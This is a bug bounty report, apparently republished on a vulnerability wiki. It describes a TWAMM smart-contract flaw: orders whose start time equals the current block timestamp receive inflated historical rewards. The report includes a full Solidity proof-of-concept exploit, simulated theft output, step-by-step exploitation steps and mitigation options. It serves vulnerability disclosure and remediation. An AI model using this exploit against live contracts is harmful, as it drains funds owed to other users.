TWAMM Instant Orders Can Steal Historical Rewards
When a TWAMM order is created with startTime equal to the current block timestamp, the startTime is not registered in the time bitmap, leaving the reward rate before that slot at zero. This causes getRewardRateInside to return an inflated reward rate that includes all historical rewards, allowing an attacker to claim more than their fair share and potentially drain the rewards pool.
Submitted by zzebra83
When a TWAMM order is created exactly at block.timestamp == startTime, the startTime is not registered in the time bitmap. This causes rewardRatesBeforeSlot[startTime] to remain uninitialized (value 0), resulting in getRewardRateInside() returning inflated reward values that include all historical rewards accumulated before the order existed. An attacker can exploit this to steal funds from legitimate order holders.
Finding Description and Impact
Root Cause
In TWAMM.sol::handleForwardData(), when processing a new order via CALL_TYPE_CHANGE_SALE_RATE, the code handles time registration differently based on whether block.timestamp is before or at/after startTime:
// TWAMM.sol - handleForwardData() around line 180-200
if (block.timestamp < startTime) {
// Future order: register BOTH startTime and endTime
_updateTime(poolId, startTime, saleRateDelta, isToken1, numOrdersChange);
_updateTime(poolId, endTime, -int256(saleRateDelta), isToken1, numOrdersChange);
} else {
// block.timestamp >= startTime (includes the == case)
// Only register endTime - startTime is NEVER registered!
_updateTime(poolId, endTime, -int256(saleRateDelta), isToken1, numOrdersChange);
}
When block.timestamp == startTime:
- The condition
block.timestamp < startTimeis false - Code enters the
elsebranch _updateTime()is only called forendTime, not forstartTimestartTimeis never added to the time bitmaprewardRatesBeforeSlot[startTime]is never initialized (remains 0)
Exploitation Mechanism
The getRewardRateInside() function calculates rewards as:
// TWAMM.sol - getRewardRateInside()
} else if (block.timestamp > config.startTime()) {
uint256 rewardRateStart = uint256(
TWAMMStorageLayout.poolRewardRatesBeforeSlot(poolId, config.startTime()).add(offset).load()
);
uint256 rewardRateCurrent = uint256(
TWAMMStorageLayout.poolRewardRatesSlot(poolId).add(offset).load()
);
unchecked {
result = rewardRateCurrent - rewardRateStart;
}
}
When rewardRatesBeforeSlot[startTime] is 0 (uninitialized):
result = rewardRateCurrent - 0 = rewardRateCurrent- The order receives credit for ALL historical rewards accumulated in the pool
Attack Conditions
The exploit requires:
block.timestamp % 256 == 0(TWAMM uses 256-second time granularity)startTimeset equal toblock.timestamp- Pool has accumulated rewards from historical orders
This condition occurs approximately every 4.27 minutes (256 seconds), making exploitation highly practical.
Impact
Direct Fund Theft: The attacker’s inflated rewardRateInside allows them to claim rewards far exceeding their fair share, potentially draining the entire shared rewards pool.
Denial of Service: After the attacker collects, legitimate order holders may be completely unable to collect their rewards due to SavedBalanceOverflow revert when the pool is drained.
Concrete Example from PoC:
- Victim sells 100e18 token0 over 256 seconds
- Attacker sells 1e18 token0 (1% of victim) at
block.timestamp == startTime - Attacker’s
rewardRateInside: 199% of victim’s rate - Attacker collects: 1.95e18 token1
- Victim receives: 0 token1 (cannot collect - pool drained)
POC Output
=== PoC: Successful Fund Theft via Start Time Bypass ===
Pool initialized with 10000e18 liquidity each token
Victim order created: 100e18 token0, period 1280->1536
Victim rewardRateInside: 19882746319056494424757839475370
Attacker creates order at block.timestamp == startTime:
block.timestamp: 1792
startTime: 1792
CONDITION MET: true
Attacker sells only 1e18 token0 (1% of victim's amount)
Attacker rewardRateInside: 39568653254663850866124583543802
Inflation ratio: 199 % of victim's rate
--- Attacker collects first ---
Attacker sold: 1e18 token0
Attacker received: 1950885226553153772 token1
--- Victim attempts to collect ---
Victim sold: 100e18 token0 (100x more than attacker)
Expected: Revert due to depleted rewards pool
=== THEFT CONFIRMED ===
Attacker sold: 1e18 token0
Attacker received: 1950885226553153772 token1
Victim sold: 100e18 token0 (100x MORE)
Victim received: 0 token1 (cannot collect - pool drained)
Recommended Mitigation Steps
Option 1: Always Register startTime (Recommended)
Modify handleForwardData() to always call _updateTime() for startTime, even when block.timestamp >= startTime:
if (block.timestamp < startTime) {
_updateTime(poolId, startTime, saleRateDelta, isToken1, numOrdersChange);
_updateTime(poolId, endTime, -int256(saleRateDelta), isToken1, numOrdersChange);
} else {
// FIX: Also register startTime when block.timestamp >= startTime
_updateTime(poolId, startTime, 0, isToken1, 0); // Register without rate change
_updateTime(poolId, endTime, -int256(saleRateDelta), isToken1, numOrdersChange);
}
Option 2: Reject Orders Where startTime == block.timestamp
Add validation to prevent the vulnerable condition:
require(startTime != block.timestamp, "StartTime cannot equal current time");
Option 3: Store Current Reward Rate on Order Creation
Store rewardRateCurrent at order creation time rather than relying on time bitmap lookups:
// In order creation logic
orderData.rewardRateAtCreation = currentRewardRate;
// In getRewardRateInside
result = rewardRateCurrent - orderData.rewardRateAtCreation;
Recommendation
Option 1 is the simplest fix that maintains backward compatibility while closing the vulnerability.
Expand for detailed Proof of Concept
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.30;
import {PoolKey} from "../../src/types/poolKey.sol";
import {createFullRangePoolConfig} from "../../src/types/poolConfig.sol";
import {PoolId} from "../../src/types/poolId.sol";
import {MIN_TICK, MAX_TICK} from "../../src/math/constants.sol";
import {nextValidTime} from "../../src/math/time.sol";
import {CoreLib} from "../../src/libraries/CoreLib.sol";
import {TWAMMLib} from "../../src/libraries/TWAMMLib.sol";
import {TWAMMStorageLayout} from "../../src/libraries/TWAMMStorageLayout.sol";
import {StorageSlot, next} from "../../src/types/storageSlot.sol";
import {Orders} from "../../src/Orders.sol";
import {BaseTWAMMTest} from "../extensions/TWAMM.t.sol";
import {ITWAMM, OrderKey} from "../../src/interfaces/extensions/ITWAMM.sol";
import {TwammPoolState} from "../../src/types/twammPoolState.sol";
import {createOrderConfig} from "../../src/types/orderConfig.sol";
import {console} from "forge-std/console.sol";
/**
* @title TWAMM Start Time Registration Bug - Proof of Concept
* @notice Demonstrates fund theft vulnerability in TWAMM extension
*
* ## Vulnerability Summary
*
* When a TWAMM order is created exactly at `block.timestamp == startTime`, the
* `startTime` is NOT registered in the time bitmap. This causes:
*
* 1. `rewardRatesBeforeSlot[startTime]` to never be initialized (remains 0)
* 2. `getRewardRateInside()` returns inflated rewards (currentRate - 0 = ALL historical rewards)
* 3. Attacker can steal rewards accumulated by other legitimate order holders
*
* ## Root Cause
*
* In `TWAMM.sol::handleForwardData()`, when `block.timestamp >= startTime`:
* - `_updateTime()` is only called for `endTime`, NOT for `startTime`
* - `startTime` is never added to the time bitmap
* - `rewardRatesBeforeSlot[startTime]` is never written
*
* ## Attack Conditions
*
* - `block.timestamp % 256 == 0` (occurs every ~4.27 minutes)
* - `startTime` equals `block.timestamp`
* - Pool has accumulated rewards from historical orders
*
* ## Impact
*
* - Direct theft of funds from legitimate TWAMM order holders
* - Victim may be completely unable to collect their rewards
* - No special permissions required
*/
contract TWAMMStartTimeBugPoC is BaseTWAMMTest {
using CoreLib for *;
using TWAMMLib for *;
Orders internal orders;
address internal attacker = makeAddr("attacker");
address internal victim1 = makeAddr("victim1");
address internal victim2 = makeAddr("victim2");
function setUp() public override {
BaseTWAMMTest.setUp();
orders = new Orders(core, twamm, owner);
// Fund test accounts
token0.transfer(attacker, 1000e18);
token1.transfer(attacker, 1000e18);
token0.transfer(victim1, 1000e18);
token1.transfer(victim1, 1000e18);
token0.transfer(victim2, 1000e18);
token1.transfer(victim2, 1000e18);
}
/*//////////////////////////////////////////////////////////////
PRIMARY PROOF OF CONCEPT
//////////////////////////////////////////////////////////////*/
/**
* @notice Demonstrates successful fund theft via start time bypass
*
* Attack scenario:
* 1. Victim creates legitimate order selling 100e18 tokens
* 2. Attacker creates exploit order at block.timestamp == startTime (selling only 1e18)
* 3. Attacker collects first - receives inflated rewards
* 4. Victim CANNOT collect - pool drained by attacker's inflated claim
*
* Result: Attacker steals ~1.95e18 tokens, victim receives NOTHING
*/
function test_PoC_SuccessfulFundTheft() public {
console.log("=== PoC: Successful Fund Theft via Start Time Bypass ===\n");
uint64 fee = uint64((uint256(1) << 64) / 100); // 1% fee
// Setup pool with significant liquidity
vm.warp(1024);
PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
PoolId poolId = poolKey.toPoolId();
createPosition(poolKey, MIN_TICK, MAX_TICK, 10000e18, 10000e18);
console.log("Pool initialized with 10000e18 liquidity each token");
// --- PHASE 1: Victim creates legitimate order ---
uint64 histStart = uint64(block.timestamp + 256); // 1280
uint64 histEnd = uint64(histStart + 256); // 1536
vm.startPrank(victim1);
token0.approve(address(orders), type(uint256).max);
OrderKey memory victimKey = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: histStart, _endTime: histEnd})
});
(uint256 victimOrderId,) = orders.mintAndIncreaseSellAmount(victimKey, 100e18, type(uint112).max);
vm.stopPrank();
console.log("Victim order created: 100e18 token0, period 1280->1536");
// Execute victim's order
vm.warp(histEnd);
twamm.lockAndExecuteVirtualOrders(poolKey);
uint256 victimRewardRate = twamm.getRewardRateInside(poolId, victimKey.config);
console.log("Victim rewardRateInside:", victimRewardRate);
// --- PHASE 2: Attacker exploits at block.timestamp == startTime ---
vm.warp(1792); // Advance to unique time not used by other orders
twamm.lockAndExecuteVirtualOrders(poolKey);
uint64 attackStart = uint64(block.timestamp); // 1792 == block.timestamp (EXPLOIT CONDITION)
uint64 attackEnd = uint64(attackStart + 256);
console.log("\nAttacker creates order at block.timestamp == startTime:");
console.log(" block.timestamp:", block.timestamp);
console.log(" startTime:", attackStart);
console.log(" CONDITION MET:", block.timestamp == attackStart);
vm.startPrank(attacker);
token0.approve(address(orders), type(uint256).max);
OrderKey memory attackKey = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: attackStart, _endTime: attackEnd})
});
(uint256 attackOrderId,) = orders.mintAndIncreaseSellAmount(attackKey, 1e18, type(uint112).max);
vm.stopPrank();
console.log(" Attacker sells only 1e18 token0 (1% of victim's amount)");
// Execute attacker's order
vm.warp(attackEnd);
twamm.lockAndExecuteVirtualOrders(poolKey);
uint256 attackRewardRate = twamm.getRewardRateInside(poolId, attackKey.config);
console.log(" Attacker rewardRateInside:", attackRewardRate);
console.log(" Inflation ratio:", attackRewardRate * 100 / victimRewardRate, "% of victim's rate");
// --- PHASE 3: Attacker collects first - theft succeeds ---
console.log("\n--- Attacker collects first ---");
uint256 attackerBalanceBefore = token1.balanceOf(attacker);
vm.prank(attacker);
uint256 attackerProceeds = orders.collectProceeds(attackOrderId, attackKey, attacker);
uint256 attackerBalanceAfter = token1.balanceOf(attacker);
console.log("Attacker sold: 1e18 token0");
console.log("Attacker received:", attackerProceeds, "token1");
// --- PHASE 4: Victim cannot collect - pool drained ---
console.log("\n--- Victim attempts to collect ---");
console.log("Victim sold: 100e18 token0 (100x more than attacker)");
console.log("Expected: Revert due to depleted rewards pool");
vm.expectRevert();
vm.prank(victim1);
orders.collectProceeds(victimOrderId, victimKey, victim1);
// --- RESULTS ---
console.log("\n=== THEFT CONFIRMED ===");
console.log("Attacker sold: 1e18 token0");
console.log("Attacker received:", attackerProceeds, "token1");
console.log("");
console.log("Victim sold: 100e18 token0 (100x MORE)");
console.log("Victim received: 0 token1 (cannot collect - pool drained)");
console.log("");
console.log("The attacker's inflated rewardRateInside (~199% of expected)");
console.log("drained the shared rewards pool, preventing legitimate collection.");
assertTrue(attackerProceeds > 0, "Attacker should have received tokens");
}
/*//////////////////////////////////////////////////////////////
SUPPORTING PROOF OF CONCEPTS
//////////////////////////////////////////////////////////////*/
/**
* @notice Demonstrates inflated rewardRateInside after just 1 second
*
* Shows that an order created at block.timestamp == startTime has
* non-zero rewardRateInside after only 1 second, proving it includes
* ALL historical rewards accumulated before the order existed.
*/
function test_PoC_InflatedRewardRateAfterOneSecond() public {
console.log("=== PoC: Inflated rewardRateInside After 1 Second ===\n");
uint64 fee = uint64((uint256(1) << 64) / 100);
vm.warp(1024);
PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
PoolId poolId = poolKey.toPoolId();
createPosition(poolKey, MIN_TICK, MAX_TICK, 1000e18, 1000e18);
// Create and execute historical order to accumulate rewards
uint64 histStart = uint64(block.timestamp + 256);
uint64 histEnd = uint64(histStart + 512);
vm.startPrank(victim1);
token0.approve(address(orders), type(uint256).max);
OrderKey memory histKey = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: histStart, _endTime: histEnd})
});
orders.mintAndIncreaseSellAmount(histKey, 50e18, type(uint112).max);
vm.stopPrank();
vm.warp(histEnd);
twamm.lockAndExecuteVirtualOrders(poolKey);
uint256 historicalRewardRate = twamm.getRewardRateInside(poolId, histKey.config);
console.log("Historical order completed. RewardRateInside:", historicalRewardRate);
// Create exploit order at block.timestamp == startTime
uint64 exploitStart = uint64(block.timestamp);
uint64 exploitEnd = uint64(exploitStart + 256);
console.log("\nExploit order created at block.timestamp == startTime");
console.log(" block.timestamp:", block.timestamp);
console.log(" startTime:", exploitStart);
vm.startPrank(attacker);
token0.approve(address(orders), type(uint256).max);
OrderKey memory exploitKey = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: exploitStart, _endTime: exploitEnd})
});
orders.mintAndIncreaseSellAmount(exploitKey, 1e18, type(uint112).max);
vm.stopPrank();
// At creation, rewardRateInside should be 0
uint256 rewardAtCreation = twamm.getRewardRateInside(poolId, exploitKey.config);
console.log("\nAt creation (t == startTime): rewardRateInside =", rewardAtCreation);
assertEq(rewardAtCreation, 0, "Should be 0 at creation");
// After just 1 second, check the inflated value
vm.warp(exploitStart + 1);
twamm.lockAndExecuteVirtualOrders(poolKey);
uint256 rewardAfter1Sec = twamm.getRewardRateInside(poolId, exploitKey.config);
console.log("After 1 second: rewardRateInside =", rewardAfter1Sec);
console.log("\n=== BUG CONFIRMED ===");
console.log("A 1-second-old order has rewardRateInside:", rewardAfter1Sec);
console.log("This should be ~0, but includes ALL historical rewards!");
console.log("Historical rewards were:", historicalRewardRate);
assertTrue(rewardAfter1Sec > 0, "1-second order should not have non-zero rewards");
}
/**
* @notice Demonstrates the 2x inflation in rewardRateInside
*
* Compares rewardRateInside between:
* - Historical order (created normally)
* - Exploit order (created at block.timestamp == startTime)
*
* Both sell same amount, same duration, but exploit has ~2x rewardRateInside
*/
function test_PoC_RewardRateInflationComparison() public {
console.log("=== PoC: RewardRateInside Inflation Comparison ===\n");
uint64 fee = uint64((uint256(1) << 64) / 100);
vm.warp(1024);
PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
PoolId poolId = poolKey.toPoolId();
createPosition(poolKey, MIN_TICK, MAX_TICK, 1000e18, 1000e18);
// Historical order: 1280 -> 1536
uint64 histStart = uint64(block.timestamp + 256);
uint64 histEnd = uint64(histStart + 256);
vm.startPrank(victim1);
token0.approve(address(orders), type(uint256).max);
OrderKey memory histKey = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: histStart, _endTime: histEnd})
});
orders.mintAndIncreaseSellAmount(histKey, 10e18, type(uint112).max);
vm.stopPrank();
console.log("Historical order: 10e18 token0, 1280->1536 (256 sec)");
vm.warp(histEnd);
twamm.lockAndExecuteVirtualOrders(poolKey);
// Advance to unique time for exploit
vm.warp(1792);
twamm.lockAndExecuteVirtualOrders(poolKey);
// Exploit order: 1792 -> 2048 (same duration as historical)
uint64 exploitStart = uint64(block.timestamp); // == block.timestamp
uint64 exploitEnd = uint64(exploitStart + 256);
vm.startPrank(attacker);
token0.approve(address(orders), type(uint256).max);
OrderKey memory exploitKey = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: exploitStart, _endTime: exploitEnd})
});
orders.mintAndIncreaseSellAmount(exploitKey, 10e18, type(uint112).max);
vm.stopPrank();
console.log("Exploit order: 10e18 token0, 1792->2048 (256 sec)");
console.log(" Created at block.timestamp == startTime");
vm.warp(exploitEnd);
twamm.lockAndExecuteVirtualOrders(poolKey);
uint256 histRewardRate = twamm.getRewardRateInside(poolId, histKey.config);
uint256 exploitRewardRate = twamm.getRewardRateInside(poolId, exploitKey.config);
console.log("\n=== COMPARISON ===");
console.log("Both orders: Same amount (10e18), Same duration (256 sec)");
console.log("");
console.log("Historical rewardRateInside:", histRewardRate);
console.log("Exploit rewardRateInside:", exploitRewardRate);
console.log("Ratio:", exploitRewardRate * 100 / histRewardRate, "%");
assertTrue(exploitRewardRate > histRewardRate, "Exploit should have inflated rewardRateInside");
console.log("\nExploit order has ~2x the rewardRateInside despite identical parameters!");
console.log("This is because it includes rewards from the historical order's period.");
}
/**
* @notice Demonstrates that startTime is not registered when block.timestamp == startTime
*
* Shows the root cause: when block.timestamp >= startTime, _updateTime() is not
* called for startTime, so it's never added to the time bitmap.
*/
function test_PoC_StartTimeNotRegistered() public {
console.log("=== PoC: StartTime Not Registered in Bitmap ===\n");
uint64 fee = uint64((uint256(1) << 64) / 100);
// Use time that's multiple of 256
vm.warp(2048);
PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
createPosition(poolKey, MIN_TICK, MAX_TICK, 100e18, 100e18);
uint64 startTime = uint64(block.timestamp); // EQUAL to block.timestamp
uint64 endTime = uint64(startTime + 256);
console.log("Creating order at block.timestamp == startTime:");
console.log(" block.timestamp:", block.timestamp);
console.log(" startTime:", startTime);
console.log(" block.timestamp < startTime:", block.timestamp < startTime);
console.log(" Condition for _updateTime(startTime):", block.timestamp < startTime);
console.log("");
console.log("Since block.timestamp >= startTime, the code takes the else branch");
console.log("and _updateTime is NOT called for startTime!");
vm.startPrank(attacker);
token0.approve(address(orders), type(uint256).max);
OrderKey memory key = OrderKey({
token0: poolKey.token0,
token1: poolKey.token1,
config: createOrderConfig({_fee: fee, _isToken1: false, _startTime: startTime, _endTime: endTime})
});
orders.mintAndIncreaseSellAmount(key, 1e18, type(uint112).max);
vm.stopPrank();
console.log("\nOrder created successfully.");
console.log("However, rewardRatesBeforeSlot[startTime] was never initialized.");
console.log("This causes getRewardRateInside() to return inflated values.");
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the code only registers the start time in the time bitmap when block.timestamp is strictly less than startTime, so when they are equal the start time is never recorded and the reward rate before that slot remains zero.
Impact
An attacker could steal rewards from legitimate order holders, potentially draining the shared rewards pool and causing a denial of service for others.
What the attacker needed
Block.timestamp % 256 == 0; startTime equals block.timestamp; pool has accumulated rewards
The fix
The code should be fixed by always registering startTime in the time bitmap, even when block.timestamp is greater than or equal to startTime, or by rejecting orders where startTime equals block.timestamp.
How it was found
- Create a pool with liquidity and accumulate historical rewards from a legitimate order.
- Wait until block.timestamp is a multiple of 256 and set startTime equal to block.timestamp.
- Create an order with that startTime and a small sell amount.
- Execute virtual orders and call getRewardRateInside to see the inflated reward rate.
- Collect proceeds before the legitimate order holder, draining the rewards pool.
- The legitimate order holder then cannot collect due to a revert.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A TWAMM is a smart contract that lets people sell tokens gradually over time. Rewards are shared among sellers based on how much they sell and for how long. The bug means that if you start selling at the exact moment the system records time, the system forgets to note your starting point, so it thinks you have been selling since the beginning of time and gives you a huge share of rewards that belong to others.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.